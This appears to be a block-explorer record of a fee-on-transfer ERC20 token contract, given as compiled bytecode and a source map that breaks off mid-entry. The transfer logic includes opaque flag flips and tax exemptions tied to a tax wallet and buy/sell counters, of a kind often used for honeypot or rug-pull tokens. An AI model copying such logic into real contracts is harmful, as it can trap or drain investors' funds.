7265616479206f70656e0000000000000000006044820152606401610458565b6012546001600160a01b031663f305d7194730610817816001600160a01b03165f9081526001602052604090205490565b5f8061082a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610890573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b59190611766565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561090a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092e9190611791565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109715760405162461bcd60e51b815260040161045890611716565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109a8573d5f803e3d5ffd5b50565b6001600160a01b038316610a0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610a6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610b955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b5f8111610bf65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b601354600160b01b900460ff161580610c185750601354600160a81b900460ff165b15610cc2576001600160a01b0383165f90815260016020526040902054610c409082906117b0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6f9082906117c3565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac29085815260200190565b5f806005600a610cd385600f6117c3565b610cdd91906117b0565b610ce791906117b0565b9050610cfa5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2857505f546001600160a01b03858116911614155b8015610d4257506005546001600160a01b03858116911614155b15611039576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d84575f80fd5b600d545f03610dbc57610db96064610db3600a54600d5411610da857600654610dac565b6008545b86906111af565b90611234565b91505b600954600854148015610de657506001600160a01b0385165f9081526004602052604090205460ff165b15610e045760095460085414610dfc575f610dfe565b5f5b60ff1690505b6013546001600160a01b038681169116148015610e2f57506012546001600160a01b03858116911614155b8015610e5357506001600160a01b0384165f9081526003602052604090205460ff16155b15610f5657600e54831115610eaa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610458565b600f5483610ecc866001600160a01b03165f9081526001602052604090205490565b610ed691906117c3565b1115610f245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610458565b610f3f6064610db3600a54600d5411610da857600654610dac565b600d80549193505f610f50836117d6565b91905055505b6013546001600160a01b038581169116148015610f7c57506001600160a01b0385163014155b15610fa957610fa66064610db3600b54600d5411610f9c57600754610dac565b60095486906111af565b91505b305f90815260016020526040902054601354600160a81b900460ff16158015610fdf57506013546001600160a01b038681169116145b8015610ff45750601354600160b01b900460ff165b80156110035750600c54600d54115b156110375760105481111561102f5761102f61102a8561102584601154611275565b611275565b611289565b6110376113f9565b505b81156110b157305f90815260016020526040902054611058908361142f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a89086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110d3908261148d565b6001600160a01b0386165f908152600160205260409020556111166110f8848461148d565b6001600160a01b0386165f908152600160205260409020549061142f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115f868661148d565b60405190815260200160405180910390a35050505050565b5f818484111561119a5760405162461bcd60e51b815260040161045891906114fa565b505f6111a684866117b0565b95945050505050565b5f825f036111be57505f6103a1565b5f6111c983856116ff565b9050826111d685836117ee565b1461122d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b9392505050565b5f61122d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ce565b5f818311611283578261122d565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112cf576112cf61180d565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611326573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134a919061174b565b8160018151811061135d5761135d61180d565b6001600160a01b03928316602091820292909201015260125461138391309116846109ab565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bb9085905f90869030904290600401611821565b5f604051808303815f87803b1580156113d2575f80fd5b505af11580156113e4573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109a8573d5f803e3d5ffd5b5f8061143b83856117c3565b90508381101561122d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b5f61122d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611177565b5f81836114ee5760405162461bcd60e51b815260040161045891906114fa565b505f6111a684866117ee565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109a8575f80fd5b5f8060408385031215611554575f80fd5b823561155f8161152f565b946020939093013593505050565b5f805f6060848603121561157f575f80fd5b833561158a8161152f565b9250602084013561159a8161152f565b929592945050506040919091013590565b5f602082840312156115bb575f80fd5b813561122d8161152f565b5f80604083850312156115d7575f80fd5b82356115e28161152f565b915060208301356115f28161152f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561164b57815f1904821115611631576116316115fd565b8085161561163e57918102915b93841c9390800290611616565b509250929050565b5f82611661575060016103a1565b8161166d57505f6103a1565b8160018114611683576002811461168d576116a9565b60019150506103a1565b60ff84111561169e5761169e6115fd565b50506001821b6103a1565b5060208310610133831016604e8410600b84101617156116cc575081810a6103a1565b6116d68383611611565b805f19048211156116e9576116e96115fd565b029392505050565b5f61122d60ff841683611653565b80820281158282048414176103a1576103a16115fd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561175b575f80fd5b815161122d8161152f565b5f805f60608486031215611778575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117a1575f80fd5b8151801515811461122d575f80fd5b818103818111156103a1576103a16115fd565b808201808211156103a1576103a16115fd565b5f600182016117e7576117e76115fd565b5060010190565b5f8261180857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118715784516001600160a01b03168352938301939183019160010161184c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fba61f5d2b3b3c8e0cae0a232b27d43cf630d6ca9df8e3802f5be5e897b220464736f6c63430008190033
Deployed Bytecode Sourcemap
3750:7828:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6102:83;;;;;;;;;;-1:-1:-1;6172:5:0;;;;;;;;;;;;-1:-1:-1;;;6172:5:0;;;;6102:83;;;;;;;:::i;:::-;;;;;;;;6933:161;;;;;;;;;;-1:-1:-1;6933:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6933:161:0;893:187:1;4839:51:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4839:51:0;1085:177:1;6379:95:0;;;;;;;;;;;;;:::i;7102:313::-;;;;;;;;;;-1:-1:-1;7102:313:0;;;;;:::i;:::-;;:::i;6288:83::-;;;;;;;;;;-1:-1:-1;6288:83:0;;4462:1;1870:36:1;;1858:2;1843:18;6288:83:0;1728:184:1;6482:117:0;;;;;;;;;;-1:-1:-1;6482:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6575:16:0;6548:7;6575:16;;;:7;:16;;;;;;;6482:117;2831:148;;;;;;;;;;;;;:::i;:::-;;10183:159;;;;;;;;;;;;;:::i;4653:53::-;;;;;;;;;;;;;;;;2617:79;;;;;;;;;;-1:-1:-1;2655:7:0;2682:6;2617:79;;-1:-1:-1;;;;;2682:6:0;;;2315:51:1;;2303:2;2288:18;2617:79:0;2169:203:1;4713:55:0;;;;;;;;;;;;;;;;6193:87;;;;;;;;;;-1:-1:-1;6265:7:0;;;;;;;;;;;;-1:-1:-1;;;6265:7:0;;;;6193:87;;5702:392;;;;;;;;;;;;;:::i;6607:167::-;;;;;;;;;;-1:-1:-1;6607:167:0;;;;;:::i;:::-;;:::i;4775:57::-;;;;;;;;;;;;;;;;11092:483;;;;;;;;;;;;;:::i;10977:107::-;;;;;;;;;;;;;:::i;6782:143::-;;;;;;;;;;-1:-1:-1;6782:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6890:18:0;;;6863:7;6890:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6782:143;6933:161;7008:4;7025:39;2274:10;7048:7;7057:6;7025:8;:39::i;:::-;-1:-1:-1;7082:4:0;6933:161;;;;;:::o;6379:95::-;6432:7;4520:13;4462:1;4520:2;:13;:::i;:::-;4505:28;;:12;:28;:::i;:::-;6452:14;;6379:95;:::o;7102:313::-;7200:4;7217:36;7227:6;7235:9;7246:6;7217:9;:36::i;:::-;7264:121;7273:6;2274:10;7295:89;7333:6;7295:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7295:19:0;;;;;;:11;:19;;;;;;;;2274:10;7295:33;;;;;;;;;;:37;:89::i;:::-;7264:8;:121::i;:::-;-1:-1:-1;7403:4:0;7102:313;;;;;:::o;2831:148::-;2744:6;;-1:-1:-1;;;;;2744:6:0;2274:10;2744:22;2736:67;;;;-1:-1:-1;;;2736:67:0;;;;;;;:::i;:::-;;;;;;;;;2938:1:::1;2922:6:::0;;2901:40:::1;::::0;-1:-1:-1;;;;;2922:6:0;;::::1;::::0;2901:40:::1;::::0;2938:1;;2901:40:::1;2969:1;2952:19:::0;;-1:-1:-1;;;;;;2952:19:0::1;::::0;;2831:148::o;10183:159::-;2744:6;;-1:-1:-1;;;;;2744:6:0;2274:10;2744:22;2736:67;;;;-1:-1:-1;;;2736:67:0;;;;;;;:::i;:::-;4520:13:::1;4462:1;4520:2;:13;:::i;:::-;4505:28;::::0;:12:::1;:28;:::i;:::-;10236:12;:22:::0;4520:13:::1;4462:1;4520:2;:13;:::i;:::-;4505:28;::::0;:12:::1;:28;:::i;:::-;10269:14;:22:::0;10307:27:::1;4520:13;4462:1;4520:2;:13;:::i;:::-;4505:28;::::0;:12:::1;:28;:::i;:::-;10307:27;::::0;1231:25:1;;;1219:2;1204:18;10307:27:0::1;;;;;;;10183:159::o:0;5702:392::-;2744:6;;-1:-1:-1;;;;;2744:6:0;2274:10;2744:22;2736:67;;;;-1:-1:-1;;;2736:67:0;;;;;;;:::i;:::-;5755:15:::1;:104:::0;;-1:-1:-1;;;;;;5755:104:0::1;5806:42;5755:104:::0;;::::1;::::0;;;5870:58:::1;::::0;5887:4:::1;::::0;4520:13:::1;4462:1;4520:2;:13;:::i;:::-;4505:28;::::0;:12:::1;:28;:::i;5870:58::-;5973:15;;;;;;;;;-1:-1:-1::0;;;;;5973:15:0::1;-1:-1:-1::0;;;;;5973:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5955:55:0::1;;6033:4;6053:15;;;;;;;;;-1:-1:-1::0;;;;;6053:15:0::1;-1:-1:-1::0;;;;;6053:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5955:131;::::0;-1:-1:-1;;;;;;5955:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;5955:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;5955:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5939:13;:147:::0;;-1:-1:-1;;;;;;5939:147:0::1;-1:-1:-1::0;;;;;5939:147:0;;;::::1;::::0;;;::::1;::::0;;5702:392::o;6607:167::-;6685:4;6702:42;2274:10;6726:9;6737:6;6702:9;:42::i;11092:483::-;2744:6;;-1:-1:-1;;;;;2744:6:0;2274:10;2744:22;2736:67;;;;-1:-1:-1;;;2736:67:0;;;;;;;:::i;:::-;11154:11:::1;::::0;-1:-1:-1;;;11154:11:0;::::1;;;11153:12;11145:48;;;::::0;-1:-1:-1;;;11145:48:0;;5580:2:1;11145:48:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;11145:48:0::1;5378:347:1::0;11145:48:0::1;11204:15;::::0;-1:-1:-1;;;;;11204:15:0::1;:31;11243:21;11288:4;11308:24;11288:4:::0;-1:-1:-1;;;;;6575:16:0;6548:7;6575:16;;;:7;:16;;;;;;;6482:117;11308:24:::1;11347:1;11363::::0;11379:7:::1;2655::::0;2682:6;-1:-1:-1;;;;;2682:6:0;;2617:79;11379:7:::1;11204:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11204:223:0;;;-1:-1:-1;;;;;6089:15:1;;;11204:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;11401:15:0::1;6303:19:1::0;;;6296:35;6005:19;;11204:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11445:13:0::1;::::0;11476:15:::1;::::0;11438:71:::1;::::0;-1:-1:-1;;;11438:71:0;;-1:-1:-1;;;;;11476:15:0;;::::1;11438:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;11445:13:0;::::1;::::0;-1:-1:-1;11438:29:0::1;::::0;6800:18:1;;11438:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11520:11:0::1;:18:::0;;-1:-1:-1;;;;11549:18:0;-1:-1:-1;;;11549:18:0;;;11092:483::o;10977:107::-;2744:6;;-1:-1:-1;;;;;2744:6:0;2274:10;2744:22;2736:67;;;;-1:-1:-1;;;2736:67:0;;;;;;;:::i;:::-;2655:7;2682:6;;11028:48:::1;::::0;-1:-1:-1;;;;;2682:6:0;;;;11054:21:::1;11028:48:::0;::::1;;;::::0;11054:21;;11028:48;2655:7;11028:48;11054:21;2682:6;11028:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10977:107::o:0;7423:335::-;-1:-1:-1;;;;;7516:19:0;;7508:68;;;;-1:-1:-1;;;7508:68:0;;7416:2:1;7508:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;7508:68:0;7214:400:1;7508:68:0;-1:-1:-1;;;;;7595:21:0;;7587:68;;;;-1:-1:-1;;;7587:68:0;;7821:2:1;7587:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;7587:68:0;7619:398:1;7587:68:0;-1:-1:-1;;;;;7666:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7718:32;;1231:25:1;;;7718:32:0;;1204:18:1;7718:32:0;;;;;;;;7423:335;;;:::o;7766:2303::-;-1:-1:-1;;;;;7854:18:0;;7846:68;;;;-1:-1:-1;;;7846:68:0;;8224:2:1;7846:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;7846:68:0;8022:401:1;7846:68:0;-1:-1:-1;;;;;7933:16:0;;7925:64;;;;-1:-1:-1;;;7925:64:0;;8630:2:1;7925:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;7925:64:0;8428:399:1;7925:64:0;8017:1;8008:6;:10;8000:64;;;;-1:-1:-1;;;8000:64:0;;9034:2:1;8000:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;8000:64:0;8832:405:1;8000:64:0;8080:11;;-1:-1:-1;;;8080:11:0;;;;8079:12;;:22;;-1:-1:-1;8095:6:0;;-1:-1:-1;;;8095:6:0;;;;8079:22;8075:209;;;-1:-1:-1;;;;;8134:13:0;;;;;;:7;:13;;;;;;:22;;8150:6;;8134:22;:::i;:::-;-1:-1:-1;;;;;8118:13:0;;;;;;;:7;:13;;;;;;:38;;;;8185:11;;;;;;;:20;;8199:6;;8185:20;:::i;:::-;-1:-1:-1;;;;;8171:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8225:26;;;;;;;;;;8244:6;1231:25:1;;1219:2;1204:18;;1085:177;8075:209:0;8294:14;;8341:1;8338:2;8328:9;8331:6;8328:2;:9;:::i;:::-;:12;;;;:::i;:::-;:14;;;;:::i;:::-;8312:30;;8365:7;2655;2682:6;-1:-1:-1;;;;;2682:6:0;;2617:79;8365:7;-1:-1:-1;;;;;8357:15:0;:4;-1:-1:-1;;;;;8357:15:0;;;:32;;;;-1:-1:-1;2655:7:0;2682:6;-1:-1:-1;;;;;8376:13:0;;;2682:6;;8376:13;;8357:32;:50;;;;-1:-1:-1;8399:8:0;;-1:-1:-1;;;;;8393:14:0;;;8399:8;;8393:14;;8357:50;8353:1387;;;-1:-1:-1;;;;;8460:12:0;;;;;;;:8;:12;;;;;;;8441:8;;;;;8432:18;;;;:40;;-1:-1:-1;;8432:40:0;8460:12;;;;8459:13;8432:40;;;;;8424:49;;;;;;8491:9;;8502:1;8491:12;8488:136;;8532:76;8604:3;8532:67;8554:15;;8544:9;;:25;8543:55;;8584:14;;8543:55;;;8571:12;;8543:55;8532:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8523:85;;8488:136;8641:13;;8627:12;;:27;:43;;;;-1:-1:-1;;;;;;8656:14:0;;;;;;:8;:14;;;;;;;;8627:43;8624:117;;;8694:13;;8680:12;;:27;:59;;8724:15;8680:59;;;8708:15;8680:59;8672:67;;;;8624:117;8767:13;;-1:-1:-1;;;;;8759:21:0;;;8767:13;;8759:21;:55;;;;-1:-1:-1;8798:15:0;;-1:-1:-1;;;;;8784:30:0;;;8798:15;;8784:30;;8759:55;:82;;;;-1:-1:-1;;;;;;8820:21:0;;;;;;:17;:21;;;;;;;;8818:23;8759:82;8755:416;;;8881:12;;8871:6;:22;;8863:60;;;;-1:-1:-1;;;8863:60:0;;9707:2:1;8863:60:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:27;9765:18;;;9758:55;9830:18;;8863:60:0;9505:349:1;8863:60:0;8976:14;;8966:6;8950:13;8960:2;-1:-1:-1;;;;;6575:16:0;6548:7;6575:16;;;:7;:16;;;;;;;6482:117;8950:13;:22;;;;:::i;:::-;:40;;8942:79;;;;-1:-1:-1;;;8942:79:0;;10061:2:1;8942:79:0;;;10043:21:1;10100:2;10080:18;;;10073:30;10139:28;10119:18;;;10112:56;10185:18;;8942:79:0;9859:350:1;8942:79:0;9049:76;9121:3;9049:67;9071:15;;9061:9;;:25;9060:55;;9101:14;;9060:55;;9049:76;9144:9;:11;;9040:85;;-1:-1:-1;9144:9:0;:11;;;:::i;:::-;;;;;;8755:416;9194:13;;-1:-1:-1;;;;;9188:19:0;;;9194:13;;9188:19;:43;;;;-1:-1:-1;;;;;;9211:20:0;;9226:4;9211:20;;9188:43;9185:172;;;9262:79;9337:3;9262:70;9284:16;;9274:9;;:26;9273:58;;9316:15;;9273:58;;;9302:13;;9262:6;;:10;:70::i;:79::-;9253:88;;9185:172;9420:4;9371:28;6575:16;;;:7;:16;;;;;;9446:6;;-1:-1:-1;;;9446:6:0;;;;9445:7;:30;;;;-1:-1:-1;9462:13:0;;-1:-1:-1;;;;;9456:19:0;;;9462:13;;9456:19;9445:30;:45;;;;-1:-1:-1;9479:11:0;;-1:-1:-1;;;9479:11:0;;;;9445:45;:79;;;;;9506:18;;9494:9;;:30;9445:79;9441:288;;;9571:17;;9548:20;:40;9545:135;;;9611:69;9628:51;9632:6;9640:38;9644:20;9666:11;;9640:3;:38::i;:::-;9628:3;:51::i;:::-;9611:16;:69::i;:::-;9699:14;:12;:14::i;:::-;8409:1331;8353:1387;9753:8;;9750:149;;9814:4;9798:22;;;;:7;:22;;;;;;:34;;9825:6;9798:26;:34::i;:::-;9791:4;9775:22;;;;:7;:22;;;;;;;:57;;;;9850:37;;-1:-1:-1;;;;;9850:37:0;;;;;;;9880:6;1231:25:1;;1219:2;1204:18;;1085:177;9850:37:0;;;;;;;;9750:149;-1:-1:-1;;;;;9923:13:0;;;;;;:7;:13;;;;;;:26;;9941:7;9923:17;:26::i;:::-;-1:-1:-1;;;;;9909:13:0;;;;;;:7;:13;;;;;:40;9972:35;9988:18;:6;9999;9988:10;:18::i;:::-;-1:-1:-1;;;;;9972:11:0;;;;;;:7;:11;;;;;;;:15;:35::i;:::-;-1:-1:-1;;;;;9960:11:0;;;;;;;:7;:11;;;;;:47;;;;10023:38;;;10042:18;:6;10053;10042:10;:18::i;:::-;10023:38;;1231:25:1;;;1219:2;1204:18;10023:38:0;;;;;;;7835:2234;;7766:2303;;;:::o;1371:190::-;1457:7;1493:12;1485:6;;;;1477:29;;;;-1:-1:-1;;;1477:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1517:9:0;1529:5;1533:1;1529;:5;:::i;:::-;1517:17;1371:190;-1:-1:-1;;;;;1371:190:0:o;1569:246::-;1627:7;1651:1;1656;1651:6;1647:47;;-1:-1:-1;1681:1:0;1674:8;;1647:47;1704:9;1716:5;1720:1;1716;:5;:::i;:::-;1704:17;-1:-1:-1;1749:1:0;1740:5;1744:1;1704:17;1740:5;:::i;:::-;:10;1732:56;;;;-1:-1:-1;;;1732:56:0;;10778:2:1;1732:56:0;;;10760:21:1;10817:2;10797:18;;;10790:30;10856:34;10836:18;;;10829:62;-1:-1:-1;;;10907:18:1;;;10900:31;10948:19;;1732:56:0;10576:397:1;1732:56:0;1806:1;1569:246;-1:-1:-1;;;1569:246:0:o;1823:132::-;1881:7;1908:39;1912:1;1915;1908:39;;;;;;;;;;;;;;;;;:3;:39::i;10077:98::-;10134:7;10161:1;10159;:3;10158:9;;10166:1;10158:9;;;-1:-1:-1;10164:1:0;10077:98;-1:-1:-1;10077:98:0:o;10350:483::-;5292:6;:13;;-1:-1:-1;;;;5292:13:0;-1:-1:-1;;;5292:13:0;;;10452:16:::1;::::0;;10466:1:::1;10452:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10452:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10452:16:0::1;10428:40;;10497:4;10479;10484:1;10479:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10479:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10523:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10523:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10479:7;;10523:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10513:4;10518:1;10513:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10513:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10588:15:::1;::::0;10556:62:::1;::::0;10573:4:::1;::::0;10588:15:::1;10606:11:::0;10556:8:::1;:62::i;:::-;10629:15;::::0;:196:::1;::::0;-1:-1:-1;;;10629:196:0;;-1:-1:-1;;;;;10629:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10710:11;;10629:15:::1;::::0;10752:4;;10779::::1;::::0;10799:15:::1;::::0;10629:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5328:6:0;:14;;-1:-1:-1;;;;5328:14:0;;;-1:-1:-1;;;;10350:483:0:o;10878:91::-;10921:8;;:40;;-1:-1:-1;;;;;10921:8:0;;;;10939:21;10921:40;;;;;:8;:40;:8;:40;10939:21;10921:8;:40;;;;;;;;;;;;;;;;;;;1040:179;1098:7;;1130:5;1134:1;1130;:5;:::i;:::-;1118:17;;1159:1;1154;:6;;1146:46;;;;-1:-1:-1;;;1146:46:0;;12429:2:1;1146:46:0;;;12411:21:1;12468:2;12448:18;;;12441:30;12507:29;12487:18;;;12480:57;12554:18;;1146:46:0;12227:351:1;1227:136:0;1285:7;1312:43;1316:1;1319;1312:43;;;;;;;;;;;;;;;;;:3;:43::i;1963:189::-;2049:7;2084:12;2077:5;2069:28;;;;-1:-1:-1;;;2069:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2108:9:0;2120:5;2124:1;2120;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2